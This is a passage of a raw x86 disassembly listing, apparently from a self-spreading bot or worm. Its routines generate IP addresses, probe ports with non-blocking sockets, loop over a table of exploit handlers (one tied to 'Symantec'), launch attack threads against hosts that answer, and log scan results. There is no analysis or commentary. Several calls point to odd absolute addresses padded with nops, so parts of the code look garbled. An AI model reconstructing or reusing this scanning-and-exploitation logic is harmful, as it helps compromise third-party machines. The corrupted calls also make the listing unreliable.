		lea	eax, [ebp+var_200]
		push	eax
		call	sub_4151AC
		add	esp, 34h
		pop	edi
		pop	ebx
		leave
		retn
sub_40B64A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B719	proc near		; CODE XREF: sub_401ACD+2ADFp

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		mov	eax, dword_4CDAB0
		mov	ecx, dword_4CDAAC
		push	esi
		push	dword_4CACE4
		lea	esi, [ecx+eax]
		call	sub_41A88B
		pop	ecx
		push	eax
		push	esi
		push	dword_4CDAB0
		lea	eax, [ebp+var_200]
		push	dword_4CDAAC
		push	offset unk_4317F4
		push	eax
		call	sub_41B886
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_4151AC
		add	esp, 30h
		pop	esi
		leave
		retn
sub_40B719	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B785	proc near		; CODE XREF: sub_401ACD+2AC9p

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	dword_4CACE4
		call	sub_41A88B
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	dword_4CDCF4
		push	offset unk_43183C
		push	eax
		call	sub_41B886
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_4151AC
		add	esp, 28h
		leave
		retn
sub_40B785	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B7DA	proc near		; CODE XREF: sub_401ACD+2AB3p

var_1000	= byte ptr -1000h
var_800		= byte ptr -800h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	eax, 1000h
		call	sub_41BB20
		push	edi
		lea	eax, [ebp+var_800]
		push	offset dword_431888
		push	eax
		call	sub_41B886
		cmp	dword_431438, 0
		pop	ecx
		pop	ecx
		mov	edi, 800h
		jz	short loc_40B846
		push	esi
		mov	esi, offset aSymantec ;	"Symantec"

loc_40B80F:				; CODE XREF: sub_40B7DA+69j
		lea	eax, [esi-0Ah]
		push	eax
		push	esi
		lea	eax, [ebp+var_1000]
		push	offset dword_431878
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_1000]
		push	edi
		push	eax
		lea	eax, [ebp+var_800]
		push	eax
		call	sub_41C1E0
		add	esi, 40h
		add	esp, 1Ch
		cmp	dword ptr [esi+1Eh], 0
		jnz	short loc_40B80F
		pop	esi

loc_40B846:				; CODE XREF: sub_40B7DA+2Dj
		push	dword_4CACE4
		call	sub_41A88B
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1000]
		push	offset aScanTimeS_ ; " Scan Time: %s."
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_1000]
		push	edi
		push	eax
		lea	eax, [ebp+var_800]
		push	eax
		call	sub_41C1E0
		push	0
		lea	eax, [ebp+var_800]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		lea	eax, [ebp+var_800]
		push	eax
		call	sub_4151AC
		add	esp, 30h
		pop	edi
		leave
		retn
sub_40B7DA	endp

; ---------------------------------------------------------------------------
byte_40B8A1	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+30E0o
; ---------------------------------------------------------------------------
		sub	esp, 3F0h
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	4Bh
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-134h]
		rep movsd
		mov	dword ptr [eax+128h], 1
		lea	eax, [ebp-134h]
		push	eax
		call	dword_4CAFE4
		xor	edi, edi
		mov	[ebp-8], eax
		cmp	dword_431438, edi
		mov	[ebp-4], edi
		mov	[ebp+8], edi
		jz	loc_40BA03
		mov	ebx, offset dword_431438
		mov	eax, ebx

loc_40B8F2:				; CODE XREF: ___:0040B9FDj
		push	dword ptr [ebp-1Ch]
		push	dword ptr [eax]
		push	dword ptr [ebp-8]
		call	sub_40C087
		add	esp, 0Ch
		cmp	eax, 1
		jnz	loc_40B9F3
		push	dword ptr [ebx]
		lea	esi, [ebx-28h]
		lea	eax, [ebp-134h]
		push	eax
		lea	eax, [esi+0Ah]
		push	eax
		lea	eax, [ebp-3F0h]
		push	offset unk_4318D8
		push	eax
		call	sub_41B886
		push	edi
		lea	eax, [ebp-3F0h]
		push	dword ptr [ebp-14h]
		push	eax
		lea	eax, [ebp-124h]
		push	eax
		push	dword ptr [ebp-24h]
		call	sub_409A72
		lea	eax, [ebp-3F0h]
		push	eax
		call	sub_4151AC
		add	esp, 2Ch
		lea	eax, [ebp-134h]
		push	eax
		lea	eax, [ebp-1ECh]
		push	eax
		call	sub_41B886
		pop	ecx
		lea	eax, [ebp-15Ch]
		pop	ecx
		push	esi
		push	eax
		call	sub_41B886
		cmp	byte ptr [ebp-0A4h], 0
		pop	ecx
		pop	ecx
		lea	eax, [ebp-0A4h]
		jnz	short loc_40B98E
		lea	eax, [ebp-124h]

loc_40B98E:				; CODE XREF: ___:0040B986j
		push	eax
		lea	eax, [ebp-1DCh]
		push	eax
		call	sub_41B886
		mov	eax, [ebp-24h]
		pop	ecx
		mov	[ebp-1F0h], eax
		mov	eax, [ebp-14h]
		mov	[ebp-140h], eax
		mov	eax, [ebp-10h]
		pop	ecx
		mov	[ebp-13Ch], eax
		mov	eax, [ebx]
		sub	esp, 0BCh
		mov	[ebp-150h], eax
		mov	eax, [ebp-18h]
		push	2Fh
		mov	[ebp-14Ch], eax
		mov	eax, [ebp+8]
		pop	ecx
		lea	esi, [ebp-1F0h]
		mov	edi, esp
		mov	[ebp-148h], eax
		rep movsd
		call	dword ptr [ebx+4]
		add	esp, 0BCh
		inc	dword ptr [ebp-4]
		xor	edi, edi

loc_40B9F3:				; CODE XREF: ___:0040B905j
		inc	dword ptr [ebp+8]
		add	ebx, 40h
		mov	eax, ebx
		cmp	[ebx], edi
		jnz	loc_40B8F2

loc_40BA03:				; CODE XREF: ___:0040B8E5j
		push	dword ptr [ebp-4]
		lea	eax, [ebp-134h]
		push	eax
		lea	eax, [ebp-3F0h]
		push	offset unk_4318A4
		push	eax
		call	sub_41B886
		push	edi
		lea	eax, [ebp-3F0h]
		push	dword ptr [ebp-14h]
		push	eax
		lea	eax, [ebp-124h]
		push	eax
		push	dword ptr [ebp-24h]
		call	sub_409A72
		lea	eax, [ebp-3F0h]
		push	eax
		call	sub_4151AC
		push	dword ptr [ebp-18h]
		call	sub_40B412
		add	esp, 2Ch
		push	edi
		nop
; ---------------------------------------------------------------------------
		db 0E8h, 0AAh, 45h
		db 2Eh,	2

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BA56	proc near		; CODE XREF: sub_401ACD+244Ep

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	0Bh
		call	sub_40B33E
		test	eax, eax
		pop	ecx
		jle	short loc_40BA92
		mov	eax, [ebp+arg_C]
		push	dword_4CB0F0[eax*8]
		call	dword_4CB030
		push	eax
		lea	eax, [ebp+var_200]
		push	offset unk_431928
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		jmp	short loc_40BAA5
; ---------------------------------------------------------------------------

loc_40BA92:				; CODE XREF: sub_40BA56+13j
		lea	eax, [ebp+var_200]
		push	offset unk_431908
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx

loc_40BAA5:				; CODE XREF: sub_40BA56+3Aj
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_4151AC
		add	esp, 18h
		leave
		retn
sub_40BA56	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BACD	proc near		; CODE XREF: sub_40C124+267p

var_210		= dword	ptr -210h
var_204		= byte ptr -204h
var_4		= byte ptr -4
arg_10		= byte ptr  18h
arg_90		= byte ptr  98h
arg_110		= dword	ptr  118h
arg_130		= dword	ptr  138h
arg_138		= dword	ptr  140h
arg_13C		= dword	ptr  144h

		push	ebp
		mov	ebp, esp
		sub	esp, 204h
		mov	eax, [ebp+arg_130]
		push	ebx
		cmp	eax, 0FFFFFFFFh
		push	esi
		jz	loc_40BF9F
		shl	eax, 6
		xor	ebx, ebx
		cmp	dword_431444[eax], ebx
		jz	loc_40BF9F
		push	5
		call	sub_40B33E
		test	eax, eax
		pop	ecx
		jnz	loc_40BD54
		mov	eax, dword_429078
		push	edi
		mov	esi, offset dword_4CD1AC
		push	104h
		push	esi
		push	ebx
		mov	dword_4CD3BC, eax
		mov	dword_4CD3B8, ebx
		nop
		call	near ptr 26802A6h
		mov	edi, offset byte_429108
		push	103h
		push	edi
		push	offset dword_4CD2B0
		call	sub_41B5F0
		mov	eax, [ebp+arg_110]
		add	esp, 0Ch
		cmp	[ebp+arg_90], bl
		mov	dword_4CD1A8, eax
		mov	eax, [ebp+arg_138]
		push	7Fh
		mov	dword_4CD440, eax
		jnz	short loc_40BB80
		lea	eax, [ebp+arg_10]
		push	eax
		push	offset dword_4CD3C0
		call	sub_41B5F0
		add	esp, 0Ch
		mov	dword_4CD444, 1
		jmp	short loc_40BB9A
; ---------------------------------------------------------------------------

loc_40BB80:				; CODE XREF: sub_40BACD+94j
		lea	eax, [ebp+arg_90]
		push	eax
		push	offset dword_4CD3C0
		call	sub_41B5F0
		add	esp, 0Ch
		mov	dword_4CD444, ebx

loc_40BB9A:				; CODE XREF: sub_40BACD+B1j
		push	esi
		lea	eax, [ebp+var_204]
		push	dword_4CD3BC
		push	offset unk_42BE8C
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_204]
		push	5
		push	eax
		call	sub_40B0F6
		add	esp, 1Ch
		mov	dword_4CD3B4, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_4CD1A8
		push	offset word_411796
		push	ebx
		push	ebx
		nop
		call	near ptr 269053Ch
		mov	ecx, dword_4CD3B4
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEF4[ecx], eax
		jz	short loc_40BC08

loc_40BBF6:				; CODE XREF: sub_40BACD+139j
		cmp	dword_4CD448, ebx
		jnz	short loc_40BC23
		push	32h
		nop
		call	near ptr 26904AEh
		jmp	short loc_40BBF6
; ---------------------------------------------------------------------------

loc_40BC08:				; CODE XREF: sub_40BACD+127j
		call	near ptr 2690DF2h
		nop
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_431A48
		push	eax
		call	sub_41B886
		add	esp, 0Ch

loc_40BC23:				; CODE XREF: sub_40BACD+12Fj
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_4151AC
		mov	eax, dword_4CACE0
		mov	esi, offset dword_4CD454
		mov	[esp+210h+var_210], 104h
		push	esi
		push	ebx
		mov	dword_4CD664, eax
		mov	dword_4CD660, ebx
		nop
		call	near ptr 26802A6h
		push	103h
		push	edi
		push	offset dword_4CD558
		call	sub_41B5F0
		mov	eax, [ebp+arg_110]
		add	esp, 0Ch
		cmp	[ebp+arg_90], bl
		mov	dword_4CD450, eax
		mov	eax, [ebp+arg_138]
		pop	edi
		mov	dword_4CD6E8, eax
		push	7Fh
		jnz	short loc_40BCA4
		lea	eax, [ebp+arg_10]
		push	eax
		push	offset dword_4CD668
		call	sub_41B5F0
		add	esp, 0Ch
		mov	dword_4CD6EC, 1
		jmp	short loc_40BCBE
; ---------------------------------------------------------------------------

loc_40BCA4:				; CODE XREF: sub_40BACD+1B8j
		lea	eax, [ebp+arg_90]
		push	eax
		push	offset dword_4CD668
		call	sub_41B5F0
		add	esp, 0Ch
		mov	dword_4CD6EC, ebx

loc_40BCBE:				; CODE XREF: sub_40BACD+1D5j
		push	esi
		lea	eax, [ebp+var_204]
		push	dword_4CD664
		push	offset unk_431A14
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_204]
		push	4
		push	eax
		call	sub_40B0F6
		add	esp, 1Ch
		mov	dword_4CD65C, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_4CD450
		push	offset byte_40E991
		push	ebx
		push	ebx
		call	near ptr 269053Ch
		nop
		mov	ecx, dword_4CD65C
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEF4[ecx], eax
		jz	short loc_40BD2C

loc_40BD1A:				; CODE XREF: sub_40BACD+25Dj
		cmp	dword_4CD6F0, ebx
		jnz	short loc_40BD47
		push	32h
		call	near ptr 26904AEh
		nop
		jmp	short loc_40BD1A
; ---------------------------------------------------------------------------

loc_40BD2C:				; CODE XREF: sub_40BACD+24Bj
		call	near ptr 2690DF2h
		nop
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_4319E0
		push	eax
		call	sub_41B886
		add	esp, 0Ch

loc_40BD47:				; CODE XREF: sub_40BACD+253j
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_4151AC
		pop	ecx

loc_40BD54:				; CODE XREF: sub_40BACD+35j
		mov	eax, [ebp+arg_130]
		mov	ecx, eax
		shl	ecx, 6
		cmp	dword_43144C[ecx], ebx
		jz	loc_40BE7D
		push	7
		call	sub_40B33E
		test	eax, eax
		pop	ecx
		jnz	loc_40BE77
		mov	eax, dword_4CDCEC
		cmp	[ebp+arg_90], bl
		mov	dword_4CD114, eax
		mov	eax, [ebp+arg_110]
		mov	dword_4CD108, eax
		mov	eax, [ebp+arg_138]
		mov	dword_4CD110, ebx
		mov	dword_4CD198, eax
		push	7Fh
		jnz	short loc_40BDC8
		lea	eax, [ebp+arg_10]
		push	eax
		push	offset dword_4CD118
		call	sub_41B5F0
		add	esp, 0Ch
		mov	dword_4CD19C, 1
		jmp	short loc_40BDE2
; ---------------------------------------------------------------------------

loc_40BDC8:				; CODE XREF: sub_40BACD+2DCj
		lea	eax, [ebp+arg_90]
		push	eax
		push	offset dword_4CD118
		call	sub_41B5F0
		add	esp, 0Ch
		mov	dword_4CD19C, ebx

loc_40BDE2:				; CODE XREF: sub_40BACD+2F9j
		push	dword_4CD114
		lea	eax, [ebp+var_204]
		push	offset unk_4319B0
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_204]
		push	7
		push	eax
		call	sub_40B0F6
		add	esp, 18h
		mov	dword_4CD10C, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_4CD108
		push	offset byte_40E6EF
		push	ebx
		push	ebx
		nop
		call	near ptr 269053Ch
		mov	ecx, dword_4CD10C
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEF4[ecx], eax
		jz	short loc_40BE4F

loc_40BE3D:				; CODE XREF: sub_40BACD+380j
		cmp	dword_4CD1A0, ebx
		jnz	short loc_40BE6A
		push	32h
		call	near ptr 26904AEh
		nop
		jmp	short loc_40BE3D
; ---------------------------------------------------------------------------

loc_40BE4F:				; CODE XREF: sub_40BACD+36Ej
		call	near ptr 2690DF2h
		nop
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_431978
		push	eax
		call	sub_41B886
		add	esp, 0Ch

loc_40BE6A:				; CODE XREF: sub_40BACD+376j
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_4151AC
		pop	ecx

loc_40BE77:				; CODE XREF: sub_40BACD+2A8j
		mov	eax, [ebp+arg_130]

loc_40BE7D:				; CODE XREF: sub_40BACD+298j
		shl	eax, 6
		cmp	dword_431448[eax], ebx
		jz	loc_40BF9F
		push	3
		call	sub_40B33E
		test	eax, eax
		pop	ecx
		jnz	loc_40BF9F
		mov	esi, offset dword_4CD984
		push	104h
		push	esi
		push	ebx
		nop
		call	near ptr 26802A6h
		push	5Ch
		push	esi
		call	sub_41BE40
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_40BEBE
		mov	[eax], bl

loc_40BEBE:				; CODE XREF: sub_40BACD+3EDj
		mov	eax, dword_42907C
		mov	dword_4CDA9C, ebx
		mov	dword_4CDA88, eax
		lea	eax, [ebp+arg_10]
		push	eax
		push	offset dword_4CD6FC
		call	sub_41B886
		mov	eax, [ebp+arg_110]
		pop	ecx
		pop	ecx
		mov	dword_4CD6F8, eax
		mov	ecx, [ebp+arg_138]
		push	esi
		push	dword_4CDA88
		mov	dword_4CDA94, ecx
		mov	ecx, [ebp+arg_13C]
		push	eax
		mov	dword_4CDA98, ecx
		call	sub_40AC0F
		pop	ecx
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_42BE14
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_204]
		push	3
		push	eax
		call	sub_40B0F6
		add	esp, 20h
		mov	dword_4CDA90, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_4CD6F8
		push	offset sub_40F0D5
		push	ebx
		push	ebx
		nop
		call	near ptr 269053Ch
		mov	ecx, dword_4CDA90
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEF4[ecx], eax
		jz	short loc_40BF77

loc_40BF65:				; CODE XREF: sub_40BACD+4A8j
		cmp	dword_4CDAA4, ebx
		jnz	short loc_40BF92
		push	32h
		call	near ptr 26904AEh
		nop
		jmp	short loc_40BF65
; ---------------------------------------------------------------------------

loc_40BF77:				; CODE XREF: sub_40BACD+496j
		nop
		call	near ptr 2690DF2h
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_431944
		push	eax
		call	sub_41B886
		add	esp, 0Ch

loc_40BF92:				; CODE XREF: sub_40BACD+49Ej
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_4151AC
		pop	ecx

loc_40BF9F:				; CODE XREF: sub_40BACD+14j
					; sub_40BACD+25j ...
		pop	esi
		pop	ebx
		leave
		retn
sub_40BACD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BFA3	proc near		; CODE XREF: sub_40C124:loc_40C195p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		push	esi
		push	4
		lea	esi, ds:4CB0F0h[eax*8]
		lea	eax, [ebp+arg_0]
		push	esi
		push	eax
		call	sub_41C310
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	dword_4CAECC
		inc	eax
		push	eax
		mov	[ebp+arg_0], eax
		call	dword_4CAFA0
		mov	[ebp+arg_0], eax
		lea	eax, [ebp+arg_0]
		push	4
		push	eax
		push	esi
		call	sub_41C310
		mov	eax, [esi]
		add	esp, 0Ch
		pop	esi
		pop	ebp
		retn
sub_40BFA3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BFEB	proc near		; CODE XREF: sub_40C124+69p

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		or	esi, 0FFFFFFFFh
		push	[ebp+arg_0]
		mov	[ebp+var_C], esi
		mov	[ebp+var_8], esi
		mov	[ebp+var_4], esi
		mov	[ebp+var_10], esi
		call	sub_41AFE0
		cmp	eax, 0Fh
		pop	ecx
		jbe	short loc_40C013
		xor	eax, eax
		jmp	short loc_40C084
; ---------------------------------------------------------------------------

loc_40C013:				; CODE XREF: sub_40BFEB+22j
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	[ebp+arg_0]
		call	sub_41C645
		add	esp, 18h
		cmp	[ebp+var_C], esi
		jnz	short loc_40C040
		call	sub_41B8E2
		mov	[ebp+var_C], eax

loc_40C040:				; CODE XREF: sub_40BFEB+4Bj
		cmp	[ebp+var_8], esi
		jnz	short loc_40C04D
		call	sub_41B8E2
		mov	[ebp+var_8], eax

loc_40C04D:				; CODE XREF: sub_40BFEB+58j
		cmp	[ebp+var_4], esi
		jnz	short loc_40C05A
		call	sub_41B8E2
		mov	[ebp+var_4], eax

loc_40C05A:				; CODE XREF: sub_40BFEB+65j
		mov	eax, [ebp+var_10]
		cmp	eax, esi
		jnz	short loc_40C066
		call	sub_41B8E2

loc_40C066:				; CODE XREF: sub_40BFEB+74j
		shl	eax, 8
		add	eax, [ebp+var_4]
		mov	ecx, [ebp+var_C]
		shl	eax, 8
		add	eax, [ebp+var_8]
		shl	eax, 8
		add	eax, ecx
		mov	ecx, [ebp+arg_4]
		mov	dword_4CB0F0[ecx*8], eax

loc_40C084:				; CODE XREF: sub_40BFEB+26j
		pop	esi
		leave
		retn
sub_40BFEB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C087	proc near		; CODE XREF: ___:0040B8FAp
					; sub_40C124+BBp

var_120		= dword	ptr -120h
var_11C		= dword	ptr -11Ch
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 120h
		push	ebx
		push	esi
		push	edi
		push	1
		pop	edi
		xor	ebx, ebx
		push	ebx
		push	edi
		push	2
		mov	[ebp+var_4], edi
		call	dword_4CB024
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_40C0B0
		xor	eax, eax
		jmp	short loc_40C11F
; ---------------------------------------------------------------------------

loc_40C0B0:				; CODE XREF: sub_40C087+23j
		mov	eax, [ebp+arg_0]
		push	[ebp+arg_4]
		mov	[ebp+var_1C], 2
		mov	[ebp+var_18], eax
		call	dword_4CAFA4
		mov	[ebp+var_1A], ax
		lea	eax, [ebp+var_4]
		push	eax
		push	8004667Eh
		push	esi
		call	dword_4CB040
		lea	eax, [ebp+var_1C]
		push	10h
		push	eax
		push	esi
		call	dword_4CAF4C
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_8], ebx
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_120]
		push	ebx
		push	eax
		push	ebx
		push	ebx
		mov	[ebp+var_11C], esi
		mov	[ebp+var_120], edi
		call	dword_4CAF8C
		push	esi
		mov	edi, eax
		call	dword_4CB03C
		xor	eax, eax
		cmp	edi, ebx
		setnle	al

loc_40C11F:				; CODE XREF: sub_40C087+27j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40C087	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C124	proc near		; DATA XREF: sub_40C124+353o

var_29C		= dword	ptr -29Ch
var_28C		= byte ptr -28Ch
var_20C		= dword	ptr -20Ch
var_208		= byte ptr -208h
var_1F8		= byte ptr -1F8h
var_1CC		= byte ptr -1CCh
var_178		= byte ptr -178h
var_16C		= dword	ptr -16Ch
var_168		= dword	ptr -168h
var_164		= dword	ptr -164h
var_15C		= dword	ptr -15Ch
var_158		= dword	ptr -158h
var_150		= byte ptr -150h
var_14C		= byte ptr -14Ch
var_140		= byte ptr -140h
var_13C		= byte ptr -13Ch
var_C0		= byte ptr -0C0h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 28Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	53h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_150]
		rep movsd
		mov	esi, [ebp+var_2C]
		mov	dword ptr [eax+148h], 1
		mov	eax, [ebp+var_28]
		mov	[ebp+var_4], esi
		mov	[ebp+arg_0], eax
		call	near ptr 26A0DE3h
		nop
		push	eax
		call	sub_41B8D8
		mov	ebx, esi
		pop	ecx
		imul	ebx, 234h

loc_40C16B:				; CODE XREF: sub_40C124+204j
		mov	eax, dword_43DEE4[ebx]
		cmp	dword_4CB0F4[eax*8], 0
		jz	loc_40C32D
		cmp	[ebp+var_10], 0
		push	eax
		jz	short loc_40C195
		lea	eax, [ebp+var_150]
		push	eax
		call	sub_40BFEB
		pop	ecx
		jmp	short loc_40C19A
; ---------------------------------------------------------------------------

loc_40C195:				; CODE XREF: sub_40C124+60j
		call	sub_40BFA3

loc_40C19A:				; CODE XREF: sub_40C124+6Fj
		pop	ecx
		mov	edi, eax
		push	[ebp+arg_0]
		push	dword_43DEE4[ebx]
		push	[ebp+var_3C]
		push	edi
		call	dword_4CB030
		push	eax
		lea	eax, [ebp+var_28C]
		push	offset unk_431AA4
		push	eax
		call	sub_41B886
		add	esp, 18h
		lea	eax, [ebp+var_28C]
		push	eax
		lea	eax, dword_43DCE0[ebx]
		push	eax
		call	sub_41B886
		push	[ebp+var_38]
		push	[ebp+var_3C]
		push	edi
		call	sub_40C087
		add	esp, 14h
		cmp	eax, 1
		jnz	loc_40C31D
		cmp	[ebp+var_20], 0FFFFFFFFh
		jnz	short loc_40C271
		push	offset dword_4CD0F0
		nop
		call	near ptr 77F7E21Fh
		push	[ebp+var_3C]
		push	edi
		call	dword_4CB030
		push	eax
		lea	eax, [ebp+var_28C]
		push	offset unk_431A7C
		push	eax
		call	sub_41B886
		add	esp, 10h
		cmp	[ebp+var_14], 0
		jnz	short loc_40C253
		cmp	[ebp+var_C0], 0
		push	1
		push	[ebp+var_18]
		lea	eax, [ebp+var_28C]
		push	eax
		lea	eax, [ebp+var_C0]
		jnz	short loc_40C247
		lea	eax, [ebp+var_140]

loc_40C247:				; CODE XREF: sub_40C124+11Bj
		push	eax
		push	[ebp+var_40]
		call	sub_409A72
		add	esp, 14h

loc_40C253:				; CODE XREF: sub_40C124+100j
		lea	eax, [ebp+var_28C]
		push	eax
		call	sub_4151AC
		mov	[esp+29Ch+var_29C], offset dword_4CD0F0
		nop
		call	near ptr 77F7E300h
		jmp	loc_40C31D
; ---------------------------------------------------------------------------

loc_40C271:				; CODE XREF: sub_40C124+D0j
		push	edi
		call	dword_4CB030
		push	eax
		lea	eax, [ebp+var_208]
		push	eax
		call	sub_41B886
		mov	eax, [ebp+var_20]
		pop	ecx
		shl	eax, 6
		pop	ecx
		add	eax, offset aSym ; "sym"
		push	eax
		lea	eax, [ebp+var_178]
		push	eax
		call	sub_41B886
		cmp	[ebp+var_C0], 0
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_C0]
		jnz	short loc_40C2B6
		lea	eax, [ebp+var_140]

loc_40C2B6:				; CODE XREF: sub_40C124+18Aj
		push	eax
		lea	eax, [ebp+var_1F8]
		push	eax
		call	sub_41B886
		mov	eax, [ebp+var_40]
		pop	ecx
		mov	[ebp+var_20C], eax
		mov	eax, [ebp+var_18]
		pop	ecx
		mov	[ebp+var_15C], eax
		mov	eax, [ebp+var_14]
		sub	esp, 0BCh
		mov	[ebp+var_158], eax
		mov	eax, [ebp+var_3C]
		push	2Fh
		mov	[ebp+var_16C], eax
		mov	eax, [ebp+var_20]
		pop	ecx
		mov	[ebp+var_168], esi
		mov	[ebp+var_164], eax
		lea	esi, [ebp+var_20C]
		mov	edi, esp
		shl	eax, 6
		rep movsd
		call	off_43143C[eax]
		mov	esi, [ebp+var_4]
		add	esp, 0BCh

loc_40C31D:				; CODE XREF: sub_40C124+C6j
					; sub_40C124+148j
		push	7D0h
		nop
		call	near ptr 26904AEh
		jmp	loc_40C16B
; ---------------------------------------------------------------------------

loc_40C32D:				; CODE XREF: sub_40C124+55j
		push	esi
		call	sub_40B412
		pop	ecx
		push	0
		nop
		call	near ptr 26F0000h

loc_40C33C:				; DATA XREF: sub_401ACD+1F81o
					; sub_401ACD+5C48o
		push	ebp
		mov	ebp, esp
		sub	esp, 1CCh
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	53h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_14C]
		push	1
		pop	ebx
		rep movsd
		mov	[eax+144h], ebx
		lea	eax, [ebp+var_14C]
		push	eax
		call	dword_4CAFE4
		mov	ecx, [ebp+var_2C]
		sub	esp, 14Ch
		lea	esi, [ebp+var_14C]
		push	53h
		mov	dword_4CB0F0[ecx*8], eax
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_40BACD
		push	0Bh
		call	sub_40B33E
		add	esp, 150h
		cmp	eax, ebx
		jnz	short loc_40C40A
		mov	esi, offset dword_4CD0F0
		push	esi
		nop
		call	near ptr 26F0734h
		push	80000400h
		push	esi
		nop
		call	near ptr 26F0561h
		test	eax, eax
		jnz	short loc_40C40A
		lea	eax, [ebp+var_1CC]
		push	offset unk_431B88
		push	eax
		call	sub_41B886
		xor	ebx, ebx
		pop	ecx
		cmp	[ebp+var_10], ebx
		pop	ecx
